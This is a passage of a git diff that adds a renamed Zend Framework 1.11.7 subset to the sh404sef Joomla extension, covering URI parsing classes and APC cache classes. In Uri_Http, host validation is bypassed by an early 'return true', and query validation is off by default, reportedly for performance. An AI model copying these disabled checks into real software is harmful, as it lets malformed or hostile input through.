$this->_prefixToPaths; + } + + $registry = array_reverse($registry, true); + $found = false; + $classFile = str_replace('_', DIRECTORY_SEPARATOR, $name) . '.php'; + $incFile = self::getIncludeFileCache(); + foreach ($registry as $prefix => $paths) { + $className = $prefix . $name; + + if (class_exists($className, false)) { + $found = true; + break; + } + + $paths = array_reverse($paths, true); + + foreach ($paths as $path) { + $loadFile = $path . $classFile; + if (Zendshl_Loader::isReadable($loadFile)) { + include_once $loadFile; + if (class_exists($className, false)) { + if (null !== $incFile) { + self::_appendIncFile($loadFile); + } + $found = true; + break 2; + } + } + } + } + + if (!$found) { + if (!$throwExceptions) { + return false; + } + + $message = "Plugin by name '$name' was not found in the registry; used paths:"; + foreach ($registry as $prefix => $paths) { + $message .= "\n$prefix: " . implode(PATH_SEPARATOR, $paths); + } + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Loader/PluginLoader/Exception.php'; + throw new Zendshl_Loader_PluginLoader_Exception($message); + } + + if ($this->_useStaticRegistry) { + self::$_staticLoadedPlugins[$this->_useStaticRegistry][$name] = $className; + } else { + $this->_loadedPlugins[$name] = $className; + } + return $className; + } + + /** + * Set path to class file cache + * + * Specify a path to a file that will add include_once statements for each + * plugin class loaded. This is an opt-in feature for performance purposes. + * + * @param string $file + * @return void + * @throws Zendshl_Loader_PluginLoader_Exception if file is not writeable or path does not exist + */ + public static function setIncludeFileCache($file) + { + if (null === $file) { + self::$_includeFileCache = null; + return; + } + + if (!file_exists($file) && !file_exists(dirname($file))) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Loader/PluginLoader/Exception.php'; + throw new Zendshl_Loader_PluginLoader_Exception('Specified file does not exist and/or directory does not exist (' . $file . ')'); + } + if (file_exists($file) && !is_writable($file)) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Loader/PluginLoader/Exception.php'; + throw new Zendshl_Loader_PluginLoader_Exception('Specified file is not writeable (' . $file . ')'); + } + if (!file_exists($file) && file_exists(dirname($file)) && !is_writable(dirname($file))) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Loader/PluginLoader/Exception.php'; + throw new Zendshl_Loader_PluginLoader_Exception('Specified file is not writeable (' . $file . ')'); + } + + self::$_includeFileCache = $file; + } + + /** + * Retrieve class file cache path + * + * @return string|null + */ + public static function getIncludeFileCache() + { + return self::$_includeFileCache; + } + + /** + * Append an include_once statement to the class file cache + * + * @param string $incFile + * @return void + */ + protected static function _appendIncFile($incFile) + { + if (!file_exists(self::$_includeFileCache)) { + $file = ' diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Loader/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Loader/index.html new file mode 100644 index 00000000..2efb97f3 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Loader/index.html @@ -0,0 +1 @@ + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Uri.php b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Uri.php new file mode 100644 index 00000000..3c09f682 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Uri.php @@ -0,0 +1,208 @@ + false + ); + + /** + * Return a string representation of this URI. + * + * @see getUri() + * @return string + */ + public function __toString() + { + try { + return $this->getUri(); + } catch (Exception $e) { + trigger_error($e->getMessage(), E_USER_WARNING); + return ''; + } + } + + /** + * Convenience function, checks that a $uri string is well-formed + * by validating it but not returning an object. Returns TRUE if + * $uri is a well-formed URI, or FALSE otherwise. + * + * @param string $uri The URI to check + * @return boolean + */ + public static function check($uri) + { + try { + $uri = self::factory($uri); + } catch (Exception $e) { + return false; + } + + return $uri->valid(); + } + + /** + * Create a new Zendshl_Uri object for a URI. If building a new URI, then $uri should contain + * only the scheme (http, ftp, etc). Otherwise, supply $uri with the complete URI. + * + * @param string $uri The URI form which a Zendshl_Uri instance is created + * @param string $className The name of the class to use in order to manipulate URI + * @throws Zendshl_Uri_Exception When an empty string was supplied for the scheme + * @throws Zendshl_Uri_Exception When an illegal scheme is supplied + * @throws Zendshl_Uri_Exception When the scheme is not supported + * @throws Zendshl_Uri_Exception When $className doesn't exist or doesn't implements Zendshl_Uri + * @return Zendshl_Uri + * @link http://www.faqs.org/rfcs/rfc2396.html + */ + public static function factory($uri = 'http', $className = null) + { + // Separate the scheme from the scheme-specific parts + $uri = explode(':', $uri, 2); + $scheme = strtolower($uri[0]); + $schemeSpecific = isset($uri[1]) === true ? $uri[1] : ''; + + if (strlen($scheme) === 0) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Uri/Exception.php'; + throw new Zendshl_Uri_Exception('An empty string was supplied for the scheme'); + } + + // Security check: $scheme is used to load a class file, so only alphanumerics are allowed. + if (ctype_alnum($scheme) === false) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Uri/Exception.php'; + throw new Zendshl_Uri_Exception('Illegal scheme supplied, only alphanumeric characters are permitted'); + } + + if ($className === null) { + /** + * Create a new Zendshl_Uri object for the $uri. If a subclass of Zendshl_Uri exists for the + * scheme, return an instance of that class. Otherwise, a Zendshl_Uri_Exception is thrown. + */ + switch ($scheme) { + case 'http': + // Break intentionally omitted + case 'https': + $className = 'Zendshl_Uri_Http'; + break; + + case 'mailto': + // TODO + default: + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Uri/Exception.php'; + throw new Zendshl_Uri_Exception("Scheme \"$scheme\" is not supported"); + break; + } + } + + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Loader.php'; + try { + Zendshl_Loader::loadClass($className); + } catch (Exception $e) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Uri/Exception.php'; + throw new Zendshl_Uri_Exception("\"$className\" not found"); + } + + $schemeHandler = new $className($scheme, $schemeSpecific); + + if (! $schemeHandler instanceof Zendshl_Uri) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Uri/Exception.php'; + throw new Zendshl_Uri_Exception("\"$className\" is not an instance of Zendshl_Uri"); + } + + return $schemeHandler; + } + + /** + * Get the URI's scheme + * + * @return string|false Scheme or false if no scheme is set. + */ + public function getScheme() + { + if (empty($this->_scheme) === false) { + return $this->_scheme; + } else { + return false; + } + } + + /** + * Set global configuration options + * + * @param Zendshl_Config|array $config + */ + static public function setConfig($config) + { + if ($config instanceof Zendshl_Config) { + $config = $config->toArray(); + } elseif (!is_array($config)) { + throw new Zendshl_Uri_Exception("Config must be an array or an instance of Zendshl_Config."); + } + + foreach ($config as $k => $v) { + self::$_config[$k] = $v; + } + } + + /** + * Zendshl_Uri and its subclasses cannot be instantiated directly. + * Use Zendshl_Uri::factory() to return a new Zendshl_Uri object. + * + * @param string $scheme The scheme of the URI + * @param string $schemeSpecific The scheme-specific part of the URI + */ + abstract protected function __construct($scheme, $schemeSpecific = ''); + + /** + * Return a string representation of this URI. + * + * @return string + */ + abstract public function getUri(); + + /** + * Returns TRUE if this URI is valid, or FALSE otherwise. + * + * @return boolean + */ + abstract public function valid(); +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Uri/Exception.php b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Uri/Exception.php new file mode 100644 index 00000000..0e9827cb --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Uri/Exception.php @@ -0,0 +1,38 @@ +_scheme = $scheme; + + // Set up grammar rules for validation via regular expressions. These + // are to be used with slash-delimited regular expression strings. + + // Escaped special characters (eg. '%25' for '%') + $this->_regex['escaped'] = '%[[:xdigit:]]{2}'; + + // Unreserved characters + $this->_regex['unreserved'] = '[' . self::CHAR_ALNUM . self::CHAR_MARK . ']'; + + // Segment can use escaped, unreserved or a set of additional chars + $this->_regex['segment'] = '(?:' . $this->_regex['escaped'] . '|[' . + self::CHAR_ALNUM . self::CHAR_MARK . self::CHAR_SEGMENT . '])*'; + + // Path can be a series of segmets char strings seperated by '/' + $this->_regex['path'] = '(?:\/(?:' . $this->_regex['segment'] . ')?)+'; + + // URI characters can be escaped, alphanumeric, mark or reserved chars + $this->_regex['uric'] = '(?:' . $this->_regex['escaped'] . '|[' . + self::CHAR_ALNUM . self::CHAR_MARK . self::CHAR_RESERVED . + + // If unwise chars are allowed, add them to the URI chars class + (self::$_config['allow_unwise'] ? self::CHAR_UNWISE : '') . '])'; + + // If no scheme-specific part was supplied, the user intends to create + // a new URI with this object. No further parsing is required. + if (strlen($schemeSpecific) === 0) { + return; + } + + // Parse the scheme-specific URI parts into the instance variables. + $this->_parseUri($schemeSpecific); + + // Validate the URI + if ($this->valid() === false) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Uri/Exception.php'; + throw new Zendshl_Uri_Exception('Invalid URI supplied'); + } + } + + /** + * Creates a Zendshl_Uri_Http from the given string + * + * @param string $uri String to create URI from, must start with + * 'http://' or 'https://' + * @throws InvalidArgumentException When the given $uri is not a string or + * does not start with http:// or https:// + * @throws Zendshl_Uri_Exception When the given $uri is invalid + * @return Zendshl_Uri_Http + */ + public static function fromString($uri) + { + if (is_string($uri) === false) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Uri/Exception.php'; + throw new Zendshl_Uri_Exception('$uri is not a string'); + } + + $uri = explode(':', $uri, 2); + $scheme = strtolower($uri[0]); + $schemeSpecific = isset($uri[1]) === true ? $uri[1] : ''; + + if (in_array($scheme, array('http', 'https')) === false) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Uri/Exception.php'; + throw new Zendshl_Uri_Exception("Invalid scheme: '$scheme'"); + } + + $schemeHandler = new Zendshl_Uri_Http($scheme, $schemeSpecific); + return $schemeHandler; + } + + /** + * Parse the scheme-specific portion of the URI and place its parts into instance variables. + * + * @param string $schemeSpecific The scheme-specific portion to parse + * @throws Zendshl_Uri_Exception When scheme-specific decoposition fails + * @throws Zendshl_Uri_Exception When authority decomposition fails + * @return void + */ + protected function _parseUri($schemeSpecific) + { + // High-level decomposition parser + $pattern = '~^((//)([^/?#]*))([^?#]*)(\?([^#]*))?(#(.*))?$~'; + $status = @preg_match($pattern, $schemeSpecific, $matches); + if ($status === false) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Uri/Exception.php'; + throw new Zendshl_Uri_Exception('Internal error: scheme-specific decomposition failed'); + } + + // Failed decomposition; no further processing needed + if ($status === false) { + return; + } + + // Save URI components that need no further decomposition + $this->_path = isset($matches[4]) === true ? $matches[4] : ''; + $this->_query = isset($matches[6]) === true ? $matches[6] : ''; + $this->_fragment = isset($matches[8]) === true ? $matches[8] : ''; + + // Additional decomposition to get username, password, host, and port + $combo = isset($matches[3]) === true ? $matches[3] : ''; + $pattern = '~^(([^:@]*)(:([^@]*))?@)?((?(?=[[])[[][^]]+[]]|[^:]+))(:(.*))?$~'; + $status = @preg_match($pattern, $combo, $matches); + if ($status === false) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Uri/Exception.php'; + throw new Zendshl_Uri_Exception('Internal error: authority decomposition failed'); + } + + // Save remaining URI components + $this->_username = isset($matches[2]) === true ? $matches[2] : ''; + $this->_password = isset($matches[4]) === true ? $matches[4] : ''; + $this->_host = isset($matches[5]) === true + ? preg_replace('~^\[([^]]+)\]$~', '\1', $matches[5]) // Strip wrapper [] from IPv6 literal + : ''; + $this->_port = isset($matches[7]) === true ? $matches[7] : ''; + } + + /** + * Returns a URI based on current values of the instance variables. If any + * part of the URI does not pass validation, then an exception is thrown. + * + * @throws Zendshl_Uri_Exception When one or more parts of the URI are invalid + * @return string + */ + public function getUri() + { + if ($this->valid() === false) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Uri/Exception.php'; + throw new Zendshl_Uri_Exception('One or more parts of the URI are invalid'); + } + + $password = strlen($this->_password) > 0 ? ":$this->_password" : ''; + $auth = strlen($this->_username) > 0 ? "$this->_username$password@" : ''; + $port = strlen($this->_port) > 0 ? ":$this->_port" : ''; + $query = strlen($this->_query) > 0 ? "?$this->_query" : ''; + $fragment = strlen($this->_fragment) > 0 ? "#$this->_fragment" : ''; + + return $this->_scheme + . '://' + . $auth + . $this->_host + . $port + . $this->_path + . $query + . $fragment; + } + + /** + * Validate the current URI from the instance variables. Returns true if and only if all + * parts pass validation. + * + *@param boolean URI validation is disabled if false. Added as validation just kills server on some long URI - shumisha - 2012-03-05 + * @return boolean + */ + public function valid( $validationEnabled = false) + { + // Return true if and only if all parts of the URI have passed validation + return $this->validateUsername() + and $this->validatePassword() + and $this->validateHost() + and $this->validatePort() + and $this->validatePath() + and $this->validateQuery( null, $validationEnabled) + and $this->validateFragment(); + } + + /** + * Returns the username portion of the URL, or FALSE if none. + * + * @return string + */ + public function getUsername() + { + return strlen($this->_username) > 0 ? $this->_username : false; + } + + /** + * Returns true if and only if the username passes validation. If no username is passed, + * then the username contained in the instance variable is used. + * + * @param string $username The HTTP username + * @throws Zendshl_Uri_Exception When username validation fails + * @return boolean + * @link http://www.faqs.org/rfcs/rfc2396.html + */ + public function validateUsername($username = null) + { + if ($username === null) { + $username = $this->_username; + } + + // If the username is empty, then it is considered valid + if (strlen($username) === 0) { + return true; + } + + // Check the username against the allowed values + $status = @preg_match('/^(?:' . $this->_regex['escaped'] . '|[' . + self::CHAR_ALNUM . self::CHAR_MARK . ';:&=+$,' . '])+$/', $username); + + if ($status === false) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Uri/Exception.php'; + throw new Zendshl_Uri_Exception('Internal error: username validation failed'); + } + + return $status === 1; + } + + /** + * Sets the username for the current URI, and returns the old username + * + * @param string $username The HTTP username + * @throws Zendshl_Uri_Exception When $username is not a valid HTTP username + * @return string + */ + public function setUsername($username) + { + if ($this->validateUsername($username) === false) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Uri/Exception.php'; + throw new Zendshl_Uri_Exception("Username \"$username\" is not a valid HTTP username"); + } + + $oldUsername = $this->_username; + $this->_username = $username; + + return $oldUsername; + } + + /** + * Returns the password portion of the URL, or FALSE if none. + * + * @return string + */ + public function getPassword() + { + return strlen($this->_password) > 0 ? $this->_password : false; + } + + /** + * Returns true if and only if the password passes validation. If no password is passed, + * then the password contained in the instance variable is used. + * + * @param string $password The HTTP password + * @throws Zendshl_Uri_Exception When password validation fails + * @return boolean + * @link http://www.faqs.org/rfcs/rfc2396.html + */ + public function validatePassword($password = null) + { + if ($password === null) { + $password = $this->_password; + } + + // If the password is empty, then it is considered valid + if (strlen($password) === 0) { + return true; + } + + // If the password is nonempty, but there is no username, then it is considered invalid + if (strlen($password) > 0 and strlen($this->_username) === 0) { + return false; + } + + // Check the password against the allowed values + $status = @preg_match('/^(?:' . $this->_regex['escaped'] . '|[' . + self::CHAR_ALNUM . self::CHAR_MARK . ';:&=+$,' . '])+$/', $password); + + if ($status === false) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Uri/Exception.php'; + throw new Zendshl_Uri_Exception('Internal error: password validation failed.'); + } + + return $status == 1; + } + + /** + * Sets the password for the current URI, and returns the old password + * + * @param string $password The HTTP password + * @throws Zendshl_Uri_Exception When $password is not a valid HTTP password + * @return string + */ + public function setPassword($password) + { + if ($this->validatePassword($password) === false) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Uri/Exception.php'; + throw new Zendshl_Uri_Exception("Password \"$password\" is not a valid HTTP password."); + } + + $oldPassword = $this->_password; + $this->_password = $password; + + return $oldPassword; + } + + /** + * Returns the domain or host IP portion of the URL, or FALSE if none. + * + * @return string + */ + public function getHost() + { + return strlen($this->_host) > 0 ? $this->_host : false; + } + + /** + * Returns true if and only if the host string passes validation. If no host is passed, + * then the host contained in the instance variable is used. + * + * @param string $host The HTTP host + * @return boolean + * @uses Zendshl_Filter + */ + public function validateHost($host = null) + { + if ($host === null) { + $host = $this->_host; + } + + // If the host is empty, then it is considered invalid + if (strlen($host) === 0) { + return false; + } + + // bypass validation + return true; + + // Check the host against the allowed values; delegated to Zendshl_Filter. + $validate = new Zendshl_Validate_Hostname(Zendshl_Validate_Hostname::ALLOW_ALL); + + return $validate->isValid($host); + } + + /** + * Sets the host for the current URI, and returns the old host + * + * @param string $host The HTTP host + * @throws Zendshl_Uri_Exception When $host is nota valid HTTP host + * @return string + */ + public function setHost($host) + { + if ($this->validateHost($host) === false) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Uri/Exception.php'; + throw new Zendshl_Uri_Exception("Host \"$host\" is not a valid HTTP host"); + } + + $oldHost = $this->_host; + $this->_host = $host; + + return $oldHost; + } + + /** + * Returns the TCP port, or FALSE if none. + * + * @return string + */ + public function getPort() + { + return strlen($this->_port) > 0 ? $this->_port : false; + } + + /** + * Returns true if and only if the TCP port string passes validation. If no port is passed, + * then the port contained in the instance variable is used. + * + * @param string $port The HTTP port + * @return boolean + */ + public function validatePort($port = null) + { + if ($port === null) { + $port = $this->_port; + } + + // If the port is empty, then it is considered valid + if (strlen($port) === 0) { + return true; + } + + // Check the port against the allowed values + return ctype_digit((string) $port) and 1 <= $port and $port <= 65535; + } + + /** + * Sets the port for the current URI, and returns the old port + * + * @param string $port The HTTP port + * @throws Zendshl_Uri_Exception When $port is not a valid HTTP port + * @return string + */ + public function setPort($port) + { + if ($this->validatePort($port) === false) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Uri/Exception.php'; + throw new Zendshl_Uri_Exception("Port \"$port\" is not a valid HTTP port."); + } + + $oldPort = $this->_port; + $this->_port = $port; + + return $oldPort; + } + + /** + * Returns the path and filename portion of the URL. + * + * @return string + */ + public function getPath() + { + return strlen($this->_path) > 0 ? $this->_path : '/'; + } + + /** + * Returns true if and only if the path string passes validation. If no path is passed, + * then the path contained in the instance variable is used. + * + * @param string $path The HTTP path + * @throws Zendshl_Uri_Exception When path validation fails + * @return boolean + */ + public function validatePath($path = null) + { + if ($path === null) { + $path = $this->_path; + } + + // If the path is empty, then it is considered valid + if (strlen($path) === 0) { + return true; + } + + // Determine whether the path is well-formed + $pattern = '/^' . $this->_regex['path'] . '$/'; + $status = @preg_match($pattern, $path); + if ($status === false) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Uri/Exception.php'; + throw new Zendshl_Uri_Exception('Internal error: path validation failed'); + } + + return (boolean) $status; + } + + /** + * Sets the path for the current URI, and returns the old path + * + * @param string $path The HTTP path + * @throws Zendshl_Uri_Exception When $path is not a valid HTTP path + * @return string + */ + public function setPath($path) + { + if ($this->validatePath($path) === false) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Uri/Exception.php'; + throw new Zendshl_Uri_Exception("Path \"$path\" is not a valid HTTP path"); + } + + $oldPath = $this->_path; + $this->_path = $path; + + return $oldPath; + } + + /** + * Returns the query portion of the URL (after ?), or FALSE if none. + * + * @return string + */ + public function getQuery() + { + return strlen($this->_query) > 0 ? $this->_query : false; + } + + /** + * Returns the query portion of the URL (after ?) as a + * key-value-array. If the query is empty an empty array + * is returned + * + * @return array + */ + public function getQueryAsArray() + { + $query = $this->getQuery(); + $querryArray = array(); + if ($query !== false) { + parse_str($query, $querryArray); + } + return $querryArray; + } + + /** + * Returns true if and only if the query string passes validation. If no query is passed, + * then the query string contained in the instance variable is used. + * + * @param string $query The query to validate + * @param boolean URI validation is disabled if false. Added as validation just kills server on some long URI - shumisha - 2012-03-05 + * @throws Zendshl_Uri_Exception When query validation fails + * @return boolean + * @link http://www.faqs.org/rfcs/rfc2396.html + */ + public function validateQuery($query = null, $validationEnabled = false) + { + // shumisha 2012-03-05 allow disabling query validation + if(!$validationEnabled) { + return true; + } + + if ($query === null) { + $query = $this->_query; + } + + // If query is empty, it is considered to be valid + if (strlen($query) === 0) { + return true; + } + + // Determine whether the query is well-formed + $pattern = '/^' . $this->_regex['uric'] . '*$/'; + $status = @preg_match($pattern, $query); + if ($status === false) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Uri/Exception.php'; + throw new Zendshl_Uri_Exception('Internal error: query validation failed'); + } + + return $status == 1; + } + + /** + * Add or replace params in the query string for the current URI, and + * return the old query. + * + * @param array $queryParams + * @return string Old query string + */ + public function addReplaceQueryParameters(array $queryParams) + { + $queryParams = array_merge($this->getQueryAsArray(), $queryParams); + return $this->setQuery($queryParams); + } + + /** + * Remove params in the query string for the current URI, and + * return the old query. + * + * @param array $queryParamKeys + * @return string Old query string + */ + public function removeQueryParameters(array $queryParamKeys) + { + $queryParams = array_diff_key($this->getQueryAsArray(), array_fill_keys($queryParamKeys, 0)); + return $this->setQuery($queryParams); + } + + /** + * Set the query string for the current URI, and return the old query + * string This method accepts both strings and arrays. + * + * @param string|array $query The query string or array + * @param boolean URI validation is disabled if false. Added as validation just kills server on some long URI - shumisha - 2012-03-05 + * @throws Zendshl_Uri_Exception When $query is not a valid query string + * @return string Old query string + */ + public function setQuery($query, $validationEnabled = false) + { + $oldQuery = $this->_query; + + // If query is empty, set an empty string + if (empty($query) === true) { + $this->_query = ''; + return $oldQuery; + } + + // If query is an array, make a string out of it + if (is_array($query) === true) { + $query = http_build_query($query, '', '&'); + } else { + // If it is a string, make sure it is valid. If not parse and encode it + $query = (string) $query; + if ($this->validateQuery($query, $validationEnabled) === false) { + parse_str($query, $queryArray); + $query = http_build_query($queryArray, '', '&'); + } + } + + // Make sure the query is valid, and set it + if ($this->validateQuery($query, $validationEnabled) === false) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Uri/Exception.php'; + throw new Zendshl_Uri_Exception("'$query' is not a valid query string"); + } + + $this->_query = $query; + + return $oldQuery; + } + + /** + * Returns the fragment portion of the URL (after #), or FALSE if none. + * + * @return string|false + */ + public function getFragment() + { + return strlen($this->_fragment) > 0 ? $this->_fragment : false; + } + + /** + * Returns true if and only if the fragment passes validation. If no fragment is passed, + * then the fragment contained in the instance variable is used. + * + * @param string $fragment Fragment of an URI + * @throws Zendshl_Uri_Exception When fragment validation fails + * @return boolean + * @link http://www.faqs.org/rfcs/rfc2396.html + */ + public function validateFragment($fragment = null) + { + if ($fragment === null) { + $fragment = $this->_fragment; + } + + // If fragment is empty, it is considered to be valid + if (strlen($fragment) === 0) { + return true; + } + + // Determine whether the fragment is well-formed + $pattern = '/^' . $this->_regex['uric'] . '*$/'; + $status = @preg_match($pattern, $fragment); + if ($status === false) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Uri/Exception.php'; + throw new Zendshl_Uri_Exception('Internal error: fragment validation failed'); + } + + return (boolean) $status; + } + + /** + * Sets the fragment for the current URI, and returns the old fragment + * + * @param string $fragment Fragment of the current URI + * @throws Zendshl_Uri_Exception When $fragment is not a valid HTTP fragment + * @return string + */ + public function setFragment($fragment) + { + if ($this->validateFragment($fragment) === false) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Uri/Exception.php'; + throw new Zendshl_Uri_Exception("Fragment \"$fragment\" is not a valid HTTP fragment"); + } + + $oldFragment = $this->_fragment; + $this->_fragment = $fragment; + + return $oldFragment; + } +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Uri/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Uri/index.html new file mode 100644 index 00000000..2efb97f3 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Uri/index.html @@ -0,0 +1 @@ + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/index.html new file mode 100644 index 00000000..2efb97f3 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/index.html @@ -0,0 +1 @@ + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/index.html new file mode 100644 index 00000000..2efb97f3 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/index.html @@ -0,0 +1 @@ + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/cache/apc.php b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/cache/apc.php new file mode 100644 index 00000000..04d7734f --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/cache/apc.php @@ -0,0 +1,84 @@ +_instanceParams = $params; + $this->enabled = extension_loaded('apc'); + if(!$this->enabled) { + ShlSystem_Log::error( 'shLib', __METHOD__ . ': APC extension not loaded, unable to create cache manager using it'); + } + + return true; + + } + + public function doRead( $id) { + + if($this->enabled) { + $read = apc_fetch( $id); + return $read; + } else { + throw new ShlException( __METHOD__ . ': trying to read from a disabled cache'); + } + } + + public function doStore( $id, $value, $ttl) { + + if($this->enabled) { + $stored = apc_store( $id, $value, $ttl); + return $stored; + } else { + throw new ShlException( __METHOD__ . ': trying to write to a disabled cache'); + } + } + + public function doRemove( $id) { + + if($this->enabled) { + $removed = apc_delete( $id); + return $removed; + } else { + throw new ShlException( __METHOD__ . ': trying to delete from a disabled cache'); + } + } + + public function doClear( $group = 'user') { + + if($this->enabled) { + $cleared = apc_clear_cache( $group); + return $cleared; + } else { + throw new ShlException( __METHOD__ . ': trying to clear a disabled cache'); + } + } + +} \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/cache/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/cache/index.html new file mode 100644 index 00000000..fa6d84e8 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/cache/index.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/cache/manager.php b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/cache/manager.php new file mode 100644 index 00000000..09c36029 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/cache/manager.php @@ -0,0 +1,279 @@ +enabled = false; + return true; + } + + /** + * + * Read information stored in cache, as identified by id + * No further deserialization is required by the calling party + * + * @param string $id unique id of the element of information + * @param string $dataset a group the data belongs to, mostly for stats accumulation + * @return boolean|mixed either the value read or false if none found + */ + public static function read( $id, $dataset) { + + self::$_totalRequests[$dataset] = empty(self::$_totalRequests[$dataset]) ? 1 : self::$_totalRequests[$dataset] + 1; + $read = self::_getInstance(self::$_handler)->doRead( self::_computeCacheId( $id, $dataset)); + if($read !== false) { + self::$_cacheHits[$dataset] = empty(self::$_cacheHits[$dataset]) ? 1 : self::$_cacheHits[$dataset] + 1; + } + return $read; + } + + /** + * + * Store some piece of information in cache, + * using handler defined by a call to ShlCache_Manager::setHandler() + * or using default handler if setHandler() has not be called yet + * No serialization is required by the calling party + * + * @param string $id unique id for the information + * @param string $dataset a group the data belongs to, mostly for stats accumulation + * @param mixed $value a php variable holding the data + * @param integer $ttl optional time to live for the data, default to 3600 seconds + * @return boolean, true if success + * @throws ShlException + */ + public static function store( $id, $dataset, $value, $ttl = null) { + + $ttl = is_null($ttl) ? self::$_defaultTTL : (int) $ttl; + if( $ttl < 0) { + throw new ShlException( __METHOD__ . ': trying to set negative TTL on cache handler'); + } + $stored = self::_getInstance(self::$_handler)->doStore( self::_computeCacheId( $id, $dataset), $value, $ttl); + if($stored) { + self::$_cacheStore[$dataset] = empty(self::$_cacheStore[$dataset]) ? 1 : self::$_cacheStore[$dataset] + 1; + } + return $stored; + } + + /** + * + * Remove a piece of information from the cache + * using current handler + * + * @param string $id unique id fo the information to remove from cache + * @param string $dataset a group the data belongs to, mostly for stats accumulation + * @return boolean, true if success + * @throws ShlException + */ + public static function remove( $id, $dataset) { + + $removed = self::_getInstance(self::$_handler)->doRemove( self::_computeCacheId( $id, $dataset)); + if($removed) { + self::$_cacheRemoved[$dataset] = empty(self::$_cacheRemoved[$dataset]) ? 1 : self::$_cacheRemoved[$dataset] + 1; + } + return $removed; + } + + /** + * + * Clear the cache. If handler can process groups, + * it is possible to clear only a group of items + * + * @param string $group optional, name of items group to clear + * @return boolean, true if success + * @throws ShlException + */ + public static function clear( $group = '') { + + return self::_getInstance(self::$_handler)->doClear( $group); + + } + + /** + * Set a unique id, required to distinguish stored + * information that may otherwise have the same id + * (such as same db queries from different web sites + * running on same server) + * This is NOT the same as the id each piece of information + * stored in the cache needs, but rather a global "tag" or "namespace" + * prepended (automatically) by the cache manager to each + * stored data id + * If not set (by an extension using shLib), we will default + * to the Joomla site "secret" word stored in general config. + * + * @param string $id 